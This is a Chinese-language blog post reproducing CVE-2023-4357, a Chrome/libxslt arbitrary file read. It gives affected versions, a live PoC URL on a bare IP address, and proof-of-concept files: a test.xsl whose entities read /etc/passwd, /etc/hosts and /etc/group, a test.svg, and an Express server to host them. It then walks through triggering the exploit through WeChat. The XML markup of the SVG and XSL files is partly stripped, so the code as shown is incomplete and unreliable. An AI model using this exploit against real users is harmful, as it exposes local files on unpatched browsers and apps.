Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

1.漏洞描述

该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页,诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。Libxslt 是在基于 WebKit 的浏览器(如 chromesafari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限

影响版本

Google Chrome < 116.0.5845.96

依赖Chromium内核的组件,如vscode、微信等。

2.漏洞复现

开发者提供了一个示例 POC,测试通过微信、抖音之类的 app 直接访问下面的 url 即可触发读取本机的 passwd 文件和 hosts 文件

该测试 URL:http://188.68.220.248/js.svg

参考链接:https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现_第1张图片

通过了解POC需要配置三个文件

1.test.svg文件内容






 
	
		
		    
#Copy me#
XSL:
Vendor:
Vendor URL:
document()

2.test.xsl文件内容





]> 

/etc/passwd: &passwd;

/etc/hosts: &hosts;

/etc/group: &group;

3.server.js文件内容

const express = require('express');
const path = require('path');

const app = express();
const port = 3000;

app.get('/test.svg', (req, res) => {
  res.sendFile(path.join(__dirname, 'test.svg'));
});

app.get('/test.xsl', (req, res) => {
  res.set('Access-Control-Allow-Origin', '*');
  res.sendFile(path.join(__dirname, 'test.xsl'));
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`);
});

将这三个文件放到服务器上,手机微信点击访问:

http://xxx.xxx.xxx.xxx/test.svg

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现_第2张图片

可以看到复现成功,成功读取本地文件。

你可能感兴趣的:(漏洞复现,web安全)